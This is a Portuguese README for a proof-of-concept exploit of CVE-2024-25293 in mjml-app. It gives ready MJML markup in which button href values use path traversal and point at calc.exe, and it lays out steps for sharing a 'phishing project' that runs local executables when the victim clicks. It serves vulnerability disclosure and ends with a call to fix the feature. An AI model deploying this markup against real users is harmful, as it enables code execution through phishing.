
mjml-app v3.0.4 & 3.1.0-beta RCE exploit
Uma Prova de Conceito para a vulnerabilidade CVE-2024-25293.
Foi descoberto que o mjml-app v3.0.4 e 3.1.0-beta contém uma execução remota de código (RCE)
Neste repositório há um exemplo de aplicação vulnerável e um exploit de prova de conceito (PoC) para ela.

Passo 1) O atacante cria um 'mj-button' com uma tag 'href' e
<mjml>
<mj-body>
<mj-section>
<mj-column>
<mj-button background-color="#f45e43" color="white" href="C:\Users\EQST\Desktop\jruru\..\jruru_hacked.txt"> jruru </mj-button>
<mj-button background-color="#f45e43" color="white" href="C:Windows/System32/calc.exe"> Code Execution </mj-button>
</mj-column>
</mj-section>
</mj-body>
</mjml>

Passo 2) O atacante cria o projeto de phishing principal com o seguinte código.
<!-- header.mjml -->
<mj-section>
<mj-column>
<mj-text>This is a demo jruru</mj-text>
</mj-column>
</mj-section>
<!-- main.mjml -->
<mj-include path="./index.mjml" />

Passo 3) A vítima abre o projeto compartilhado e clica no botão, acionando a execução do payload (ex.: calc, notepad)

Executar arquivos .exe através de tags href dentro de uma aplicação é arriscado, e executar arquivos em combinação com Path Traversal é uma preocupação de segurança. Isso permite que projetos de phishing sejam criados e implantados para executar arquivos locais. Portanto, é essencial modificar esse recurso para evitar tal execução.